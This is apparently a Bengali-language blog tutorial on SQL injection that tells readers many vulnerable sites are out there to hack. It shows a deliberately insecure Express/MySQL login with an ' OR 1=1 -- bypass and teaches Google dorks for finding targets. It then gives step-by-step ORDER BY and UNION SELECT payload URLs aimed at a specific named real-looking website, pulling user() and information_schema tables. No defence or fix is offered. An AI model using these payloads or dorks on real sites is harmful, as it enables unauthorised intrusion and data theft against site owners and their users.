SQL Injection হল সাইটের নিরাপত্তা ব্যবস্থা ভেঙ্গে তথ্য বের করার এক ধরণের কৌশল। শুধুমাত্র যে সব সাইটের ডাটাবেজে কোনও ত্রুটি (Error) থাকে, সে ধরণের সাইটে SQL Injection প্রয়োগ করে তথ্য বের করা সম্ভব হয়। এতোটুকু শুনে ঘাবড়ে যাওয়ার কিছু নেই; ডাটাবেজে এরর আছে এরকম সাইটের সংখ্যা অনেক, হ্যাক করার মতো অনেক সাইট পাবেন!
SQL Injection এমন একটি আক্রমণ পদ্ধতি যেখানে হ্যাকার ওয়েব অ্যাপ্লিকেশনের ইনপুট ফিল্ডে ম্যালিশিয়াস SQL কোড ইনজেক্ট করে ডেটাবেজের নিয়ন্ত্রণ নেওয়ার চেষ্টা করে। এটি প্রায়শই এমন ওয়েবসাইটগুলোতে ঘটে যেখানে SQL কোয়েরি সরাসরি ব্যবহারকারীর ইনপুট থেকে গঠিত হয় এবং কোন ইনপুট ভ্যালিডেশন নেই।
উদাহরণস্বরূপ, ধরা যাক একটি অনিরাপদ লগইন পেজ:
Example: অসুরক্ষিত কোড
নিচের কোডটি একটি খুবই সাধারণ ও ঝুঁকিপূর্ণ SQL কোয়েরি তৈরি করে যেখানে ব্যবহারকারীর ইনপুট সরাসরি কোয়েরিতে ব্যবহার করা হয়েছে।
const express = require('express');
const mysql = require('mysql');
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true }));
// ডাটাবেজ কানেকশন তৈরি
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: '',
database: 'testdb'
});
// লগইন রুট
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
// খুবই ঝুঁকিপূর্ণ SQL কোয়েরি
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
connection.query(query, (err, results) => {
if (err) throw err;
if (results.length > 0) {
res.send('Login successful!');
} else {
res.send('Invalid username or password.');
}
});
});
// সার্ভার চালু
app.listen(3000, () => {
console.log('Server running on port 3000');
});
হ্যাকিং চেষ্টা:
যদি কেউ এই লগইন পেজে নিচের ইনপুট ব্যবহার করে, তাহলে তারা সহজেই পুরো ডাটাবেজের নিয়ন্ত্রণ নিতে পারে:
- ব্যবহারকারীর নাম:
' OR 1=1 -- - পাসওয়ার্ড:
x
এই ইনপুট ব্যবহার করলে কোয়েরিটি নিম্নরূপ হবে:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'x';
কিভাবে বুজবেন সাইট টি হ্যাক করার মতো
সাধারণত যে সকল সাইটের URL-এ ID এবং Value থাকে, সে সকল সাইটে SQL Error থাকে। যেমন ধরুনঃ www.bonsaitrees.com/gallery.php?id=4 ঠিকানাটি। লক্ষ্য করুন এই ইউআরএল-এ id=4; এখানে ID এবং value (4) আছে। এই সাইটটিতে SQL Inject করলে সফল হওয়ার সম্ভাবনা বেশি। আপনি হয়তো ভাবছেন কোন কোন সাইটে Id=value আছে কীভাবে জানবেন, ইন্টারনেটে তো কোটি কোটি ওয়েবসাইট! গুগোলে inurl:games.php?id=, inurl:member.php?id= ইত্যাদি লিখে সার্চ দিন।
sql ইনজেকশন ওয়েবসাইট বের করি :
বিভিন্ন গুগল ডর্ক ব্যবহার করে sql ইনজেকশন সাইট বের করা যায় উদাহরণ স্বরূপ গুগল সার্চ করি inurl product.php id=
অনেক ওয়েবসাইট আসবে যেকোনো একটি সাইটে প্রবেশ করি

মনেকরি এই সাইটের ব্যাকএন্ড এ নিচের মতো কোয়েরি রান হচ্ছে
SELECT * FROM products WHERE id = '98' AND pid = '64';Testing for Vulnerability:
সম্পূর্ণ কোয়েরি টি ডাবল অথবা সিজ্ঞেল কোটেশনের ভিতরে থাকতে পারে এটা বোঝার জন্য আমরা শেষে কোটেশন লিখি
https://www.revel.com.hk/en/product.php?id=98&pid=64'This might result in an SQL error if the input is not sanitized, indicating a vulnerability.

এবার কোন কোড কমেন্ট করে এরর ফিক্স করি ডাবল কোটেশন ,সিঙ্গেল কোটেশন এর পর অথবা id এর পর অনেক সময় শুধু — কমেন্ট লিখলে লাল এরর চলে যায় যতক্ষণ না আমরা এরর বন্ধ করতে পারবো আমরা কোয়েরি রান করতে পারবো না।

এখানে কোন সিঙ্গেল কোটেশন ব্যবহার করা হয় নি তাই id এর পর কোয়েরি কাজ করছে।
কয়টি কলাম আছে বের করে কলাম অনুযায়ী ভ্যালু প্রিন্ট করবো
Start with ORDER BY 1, then ORDER BY 2, and so on, until you receive an error. If you get an error at ORDER BY 4, then the number of columns is 3.
https://www.revel.com.hk/en/product.php?id=98&pid=64 ORDER BY 1 --
https://www.revel.com.hk/en/product.php?id=98&pid=64 ORDER BY 2 --
https://www.revel.com.hk/en/product.php?id=98&pid=64 ORDER BY 3 --
https://www.revel.com.hk/en/product.php?id=98&pid=64 ORDER BY 4 --
Construct the UNION Query:
যদি কলামের পরিমান ৩টি হয় তাহলে দুইটি তে null এবং তিন নাম্বারটি sql ইনজেকশন ভ্যালু প্রিন্ট করবো
https://www.revel.com.hk/en/product.php?id=98&pid=64 UNION SELECT null, null, user() --যদি কলামের পরিমান 4টি হয় তাহলে দুইটি তে null এবং 4 নাম্বারটি sql ইনজেকশন ভ্যালু প্রিন্ট করবো
https://www.revel.com.hk/en/product.php?id=98&pid=64 UNION SELECT null, null, null, user() --আমার এই সাইটে এই টেবিলে কলামের পরিমান ২০ টি
যদি https://www.revel.com.hk/en/product.php?id=98&pid=64′ ORDER BY ২০ — লিখি তাহলে এরর আসবে না কিন্তু
যদি https://www.revel.com.hk/en/product.php?id=98&pid=64′ ORDER BY ২১ — লিখি তাহলে এরর আসবে তার মানে কলামের সংখ্যা ২০ টি
https://www.revel.com.hk/en/product.php?id=98&pid=64 UNION SELECT null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, table_name FROM information_schema.tables --
এই ২০টি কলামের মধ্যে সব কলামের ভ্যালু এখানে প্রিন্ট হচ্ছে না এজন্য প্রত্যেকটি ফিল্ড কে sql ভ্যালু দ্বারা প্রিন্ট করে দেখবো কোন ফিল্ড এর ডাটা প্রিন্ট হচ্ছে তাহলে আমরা স্ক্রিনে আমাদের কোডের আউটপুট দেখতে পাবো।
https://www.revel.com.hk/en/product.php?id=98&pid=64 UNION SELECT user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user(), user() --